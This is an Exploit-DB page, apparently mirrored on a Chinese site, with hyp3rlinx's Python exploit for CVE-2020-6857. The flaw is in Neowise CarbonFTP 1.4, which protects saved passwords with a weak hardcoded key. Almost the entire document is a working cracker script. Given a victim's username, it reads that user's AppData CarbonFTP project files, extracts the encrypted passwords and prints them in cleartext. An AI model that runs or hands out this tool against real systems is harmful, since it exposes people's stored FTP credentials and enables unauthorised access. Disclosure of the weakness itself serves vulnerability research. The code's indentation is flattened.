Neowise CarbonFTP 1.4 – Insecure Proprietary Password Encryption

  • 作者: hyp3rlinx
    日期: 2020-04-21
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48363/
  • # Title: Neowise CarbonFTP 1.4 - Insecure Proprietary Password Encryption
    # Date: 2020-04-20
    # Author: hyp3rlinx
    # Vendor:
    # CVE: CVE-2020-6857
    
    import time, string, sys, argparse, os, codecs
    
    #Fixed: updated for Python 3, the hex decode() function was not working in Python 3 version.
    #This should be compatible for Python 2 and 3 versions now, tested successfully.
    #Sample test password 
    #LOOOOONGPASSWORD! = 219042273422734224782298223744247862350210947 
    
    key="97F"#2431 in decimal, the weak hardcoded encryption key within the vuln program.
    chunk_sz=5 #number of bytes we must decrypt the password by.
    
    #Password is stored here:
    #C:\Users\<VICTIM>\AppData\Roaming\Neowise\CarbonFTPProjects\<FILE>.CFTP
    
    #Neowise CarbonFTP v1.4
    #Insecure Proprietary Password Encryption
    #By John Page (aka hyp3rlinx)
    #Apparition Security
    #===================================================
    
    def carbonftp_conf(conf_file):
    p=""
    pipe=-1
    passwd=""
    lst_of_passwds=[]
    try:
    for p in conf_file:
    idx = p.find("Password=STRING|")
    if idx != -1:
    pipe = p.find("|")
    if pipe != -1:
    passwd = p[pipe + 2: -2]
    print(" Password found: "+ passwd)
    lst_of_passwds.append(passwd) 
    except Exception as e:
    print(str(e))
    return lst_of_passwds 
    
    
    def reorder(lst):
    k=1
    j=0
    for n in range(len(lst)):
    k+=1
    j+=1
    try:
    tmp = lst[n+k]
    a = lst[n+j]
    lst[n+j] = tmp
    lst[n+k] = a
    except Exception as e:
    pass
    return ''.join(lst)
    
    
    def dec2hex(dec):
    tmp = str(hex(int(dec)))
    return str(tmp[2:])
     
    
    #Updated for Python version compatibility.
    def hex2ascii(h):
    h=h.strip()
    passwd=""
    try:
    passwd = codecs.decode(h, "hex").decode("ascii")
    except Exception as e:
    print("[!] In hex2ascii(), not a valid hex string.")
    exit()
    return passwd
    
    
    def chunk_passwd(passwd_lst):
    lst = []
    for passwd in passwd_lst:
    while passwd:
    lst.append(passwd[:chunk_sz])
    passwd = passwd[chunk_sz:]
    return lst
    
    
    def strip_non_printable_char(str):
    return ''.join([x for x in str if ord(x) > 31 or ord(x)==9])
    
    cnt = 0
    passwd_str=""
    def deob(c):
    
    global cnt, passwd_str
    
    tmp=""
    
    try:
    tmp = int(c) - int(key, 16)
    tmp = dec2hex(tmp)
    except Exception as e:
    print("[!] Not a valid CarbonFTP encrypted password.")
    exit()
    
    b=""
    a=""
    
     #Seems we can delete the second char as its most always junk.
    if cnt!=1:
    a = tmp[:2]
    cnt+=1
    else:
    b = tmp[:4]
    
    passwd_str += strip_non_printable_char(hex2ascii(a + b))
    hex_passwd_lst = list(passwd_str)
    return hex_passwd_lst
    
    
    def no_unique_chars(lst):
    c=0
    k=1
    j=0
    for i in range(len(lst)):
    k+=1
    j+=1
    try:
    a = lst[i]
    b = lst[i+1]
    if a != b:
    c+=1
    elif c==0:
    print("[!] Possible one char password?: " +str(lst[0]))
    return lst[0]
    except Exception as e:
    pass
    return False
    
    
    def decryptor(result_lst):
    
    global passwd_str, sz
    
    print(" Decrypting ... \n")
    for i in result_lst:
    print("[-] "+i)
    time.sleep(0.1)
    lst = deob(i)
    
    #Re-order chars to correct sequence using custom swap function (reorder).
    reordered_pass = reorder(lst)
    sz = len(reordered_pass)
    
    #Flag possible single char password.
    no_unique_chars(lst)
    
    print("[+] PASSWORD LENGTH: " + str(sz))
    if sz == 9:
    return (reordered_pass[:-1] + " | " + reordered_pass[:-2] + " | " + reordered_pass[:-3] + " | " + reordered_pass[:-4] + " | " +
    reordered_pass[:-5] +" | " + reordered_pass[:-6] + " | "+ reordered_pass[:-7] + " | " + reordered_pass)
    
    #Shorter passwords less then nine chars will have several candidates
    #as they get padded with repeating chars so we return those.
    
    passwd_str=""
    return reordered_pass
    
    
    def display_cracked_passwd(sz, passwd):
    if sz==9:
    print("[*] PASSWORD CANDIDATES: "+ passwd + "\n")
    else:
    print("[*] DECRYPTED PASSWORD: "+passwd + "\n")
    
    
    def parse_args():
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--user", help="Username to crack a directory of Carbon .CFTP password files")
    parser.add_argument("-p", "--encrypted_password", help="Crack a single encrypted password")
    return parser.parse_args()
    
    
    def main(args):
    
    global passwd_str, sz
    victim=""
    
    if args.user and args.encrypted_password:
    print("[!] Supply a victims username -u or single encrypted password -p, not both.")
    exit()
    
    print("[+] Neowise CarbonFTP v1.4")
    time.sleep(0.1)
    print("[+] CVE-2020-6857 Insecure Proprietary Password Encryption")
    time.sleep(0.1)
    print("[+] Version 2 Exploit fixed for Python 3 compatibility")
    time.sleep(0.1)
    print("[+] Discovered and cracked by hyp3rlinx")
    time.sleep(0.1)
    print("[+] ApparitionSec\n")
    time.sleep(1)
    
    #Crack a dir of carbonFTP conf files containing encrypted passwords -u flag.
    if args.user:
    victim = args.user
    os.chdir("C:/Users/"+victim+"/AppData/Roaming/Neowise/CarbonFTPProjects/")
    dir_lst = os.listdir(".")
    for c in dir_lst:
    f=open("C:/Users/"+victim+"/AppData/Roaming/Neowise/CarbonFTPProjects/"+c, "r")
    #Get encrypted password from conf file
    passwd_enc = carbonftp_conf(f)
    #Break up into 5 byte chunks as processed by the proprietary decryption routine.
    result_lst = chunk_passwd(passwd_enc)
    #Decrypt the 5 byte chunks and reassemble to the cleartext password.
    cracked_passwd = decryptor(result_lst)
    #Print cracked password or candidates.
    display_cracked_passwd(sz, cracked_passwd)
    time.sleep(0.3)
    passwd_str=""
    f.close()
    
    
    #Crack a single password -p flag.
    if args.encrypted_password:
    passwd_to_crack_lst = []
    passwd_to_crack_lst.append(args.encrypted_password)
    result = chunk_passwd(passwd_to_crack_lst)
    #Print cracked password or candidates.
    cracked_passwd = decryptor(result)
    display_cracked_passwd(sz, cracked_passwd)
    
    
    if __name__=="__main__":
    
    parser = argparse.ArgumentParser()
    
    if len(sys.argv)==1:
    parser.print_help(sys.stderr)
    exit()
    
    main(parse_args())